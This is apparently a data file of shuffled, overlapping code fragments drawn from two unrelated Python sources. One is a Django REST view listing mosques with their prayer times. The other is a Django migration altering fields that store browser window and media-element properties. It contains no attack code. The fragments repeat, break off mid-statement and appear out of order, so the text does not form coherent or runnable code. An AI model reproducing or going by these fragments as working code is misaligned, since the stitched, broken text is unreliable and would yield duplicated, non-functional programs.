"if masjids: for obj in masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id)",
"= {} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer ,",
"\"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address,",
"\"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name,",
"render from .models import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework",
"SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict =",
", \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan , \"dhuhr_prayer\":salatime_obj.Dhuhr_prayer , \"asr_azan\":salatime_obj.Asr_azan , \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan ,",
", \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if",
"import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import api_view from masjid.models",
"{ \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = {",
"serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def",
"masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":None, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) return Response({",
"None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan ,",
"\"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer",
"viewsets from rest_framework.decorators import api_view from masjid.models import Masjid from rest_framework.response import Response",
"rest_framework.response import Response from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models",
"\"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict, } masjid_list.append(masjid_dict) else: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address,",
"rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet):",
"getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list =",
"CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = { \"id\":",
".serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import viewsets from rest_framework.decorators import api_view from",
"from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser class",
"class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer @api_view(['GET']) def getAllMasjid(request): if request.method",
"@api_view(['GET']) def getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict = {}",
"CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict =",
", \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict",
", \"asr_prayer\":salatime_obj.Asr_prayer , \"maghrib_azan\":salatime_obj.Maghrib_azan , \"maghrib_prayer\":salatime_obj.Maghrib_prayer , \"isha_azan\":salatime_obj.Isha_azan , \"isha_prayer\":salatime_obj.Isha_prayer , \"jummah_azan\":salatime_obj.jummah_azan ,",
"return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No",
"from .models import Masjid, SalahTime from .serializers import MasjidSerializer, SalahTimeSerializer from rest_framework import",
"= [] if masjids: for obj in masjids: masjid_id = obj.id try: salatime_obj",
"import viewsets from rest_framework.decorators import api_view from masjid.models import Masjid from rest_framework.response import",
"obj in masjids: masjid_id = obj.id try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj",
"\"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\":",
"from users.models import CustomUser class MasjidViewSet(viewsets.ModelViewSet): queryset = Masjid.objects.all() serializer_class = MasjidSerializer class",
"SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user",
"'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list = [] if masjids: for",
"def getAllMasjid(request): if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list",
"= Masjid.objects.all() serializer_class = MasjidSerializer class SalahTimeViewSet(viewsets.ModelViewSet): queryset = SalahTime.objects.all() serializer_class = SalahTimeSerializer",
"if request.method == 'GET': masjids = Masjid.objects.all() masjid_dict = {} masjid_list = []",
"rest_framework.decorators import api_view from masjid.models import Masjid from rest_framework.response import Response from rest_framework",
", \"jummah_azan\":salatime_obj.jummah_azan , \"jummah_prayer\":salatime_obj.jummah_prayer , } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name,",
"salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict",
"Response from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin from users.models import CustomUser",
"except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {} if salatime_obj: salatime_obj_dict = {",
"None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user) except CustomUser.DoesNotExist: masjid_user = None salatime_obj_dict = {}",
", } if masjid_user.profile_pic: masjid_dict = { \"id\":obj.id, \"name\":obj.name, \"address\":obj.address, \"profile_pic\":masjid_user.profile_pic.url, \"salatime\": salatime_obj_dict,",
"\"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\": \"No any masjid found\", })",
"Masjid from rest_framework.response import Response from rest_framework import status from rest_framework_extensions.mixins import NestedViewSetMixin",
"masjid_list.append(masjid_dict) return Response({ \"status\": status.HTTP_200_OK, \"masjid_list\":masjid_list }) else: return Response({ \"status\": status.HTTP_204_NO_CONTENT, \"message\":",
"if salatime_obj: salatime_obj_dict = { \"id\": salatime_obj.id, \"fajar_azan\":salatime_obj.fajar_azan , \"fajar_prayer\":salatime_obj.fajar_prayer , \"dhuhr_azan\":salatime_obj.Dhuhr_azan ,",
"api_view from masjid.models import Masjid from rest_framework.response import Response from rest_framework import status",
"try: salatime_obj = SalahTime.objects.get(masjid_id=masjid_id) except SalahTime.DoesNotExist: salatime_obj = None try: masjid_user = CustomUser.objects.get(id=obj.masjid_user)"
] |
[
"migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage',",
"name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ),",
"model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height',",
"migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered',",
"migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField(",
"name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ),",
"3.2.3 on 2021-05-28 18:24 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration):",
"name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ),",
"name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ),",
"serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ],",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet',",
"model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(),",
"'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties',",
"name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ),",
"'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin',",
"name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField(",
"migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur',",
"model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(),",
"name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ),",
"), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set',",
"), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation',",
"name='op_el_naturalWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ),",
"migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused',",
"'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'),",
"), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"18:24 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [",
"field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField(",
"'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count',",
"model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties',",
"operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()),",
"model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(),",
"), migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(),",
"model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(),",
"'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'),",
"models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties',",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField(",
"'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint(",
"name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()),",
"name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ),",
"import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ]",
"Generated by Django 3.2.3 on 2021-05-28 18:24 from django.db import migrations, models import",
"('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint(",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField(",
"), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('dbcon', '0002_auto_20210528_1657'), ] operations",
"migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField(",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField(",
"field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField(",
"models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener',",
"'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'),",
"('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField(",
"model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(),",
"model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(),",
"model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width',",
"migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle',",
"('op_win_window', models.TextField()), ('op_win_CSS2Properties', models.TextField()), ('op_win_origin', models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op',",
"name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth', field=models.TextField(), ),",
"name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField(",
"model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties',",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(), ), migrations.AlterField(",
"), migrations.AlterField( model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties',",
"migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight',",
"[ ('dbcon', '0002_auto_20210528_1657'), ] operations = [ migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True,",
"models.TextField()), ('op_win_opener', models.TextField()), ], ), migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ),",
"migrations.AddConstraint( model_name='windowproperties', constraint=models.UniqueConstraint(fields=('op_frame_count', 'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties', field=models.ForeignKey(null=True,",
"migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth',",
"name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ),",
"migrations.AlterField( model_name='objectproperties', name='op_el_videoHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width',",
"name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState',",
"migrations.RemoveConstraint( model_name='objectproperties', name='op', ), migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField(",
"migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalHeight', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_naturalWidth',",
"on 2021-05-28 18:24 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies",
"), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ), migrations.AlterField( model_name='events', name='event_set', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties',",
"migrations.RemoveField( model_name='objectproperties', name='op_frame_count', ), migrations.RemoveField( model_name='objectproperties', name='op_win_CSS2Properties', ), migrations.RemoveField( model_name='objectproperties', name='op_win_opener', ), migrations.RemoveField(",
"'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ),",
"'op_win_window', 'op_win_CSS2Properties', 'op_win_origin', 'op_win_opener'), name='win'), ), migrations.AddField( model_name='observation', name='window_properties', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='dbcon.windowproperties'), ),",
"field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_postMessage', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_buffered', field=models.TextField(), ), migrations.AlterField(",
"migrations.CreateModel( name='WindowProperties', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('op_frame_count', models.TextField()), ('op_win_window', models.TextField()), ('op_win_CSS2Properties',",
"model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror', field=models.TextField(),",
"model_name='objectproperties', name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(),",
"name='op_el_networkState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ),",
"model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_sheet', field=models.TextField(),",
"name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ),",
"name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error', field=models.TextField(), ),",
"model_name='globalproperties', name='gp_download_bar_height', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(),",
"), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered',",
"'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet', 'op_el_media_error'), name='op'), ), migrations.AddConstraint( model_name='windowproperties',",
"migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list', field=models.TextField(), ),",
"migrations.AlterField( model_name='objectproperties', name='op_el_videoWidth', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_width', field=models.TextField(), ), migrations.AddConstraint( model_name='objectproperties', constraint=models.UniqueConstraint(fields=('op_el_height',",
"constraint=models.UniqueConstraint(fields=('op_el_height', 'op_el_width', 'op_el_naturalHeight', 'op_el_naturalWidth', 'op_el_videoHeight', 'op_el_videoWidth', 'op_el_duration', 'op_el_networkState', 'op_el_readyState', 'op_el_buffered', 'op_el_paused', 'op_el_seekable', 'op_el_sheet',",
"name='op_win_opener', ), migrations.RemoveField( model_name='objectproperties', name='op_win_origin', ), migrations.RemoveField( model_name='objectproperties', name='op_win_window', ), migrations.AlterField( model_name='events', name='event_list',",
"migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onblur', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_onerror',",
"model_name='objectproperties', name='op_el_paused', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_readyState', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_seekable', field=models.TextField(),",
"migrations.AlterField( model_name='objectproperties', name='op_el_duration', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_height', field=models.TextField(), ), migrations.AlterField( model_name='objectproperties', name='op_el_media_error',",
"migrations.AlterField( model_name='globalproperties', name='gp_securitypolicyviolation', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_getComputedStyle', field=models.TextField(), ), migrations.AlterField( model_name='globalproperties', name='gp_window_hasOwnProperty',",
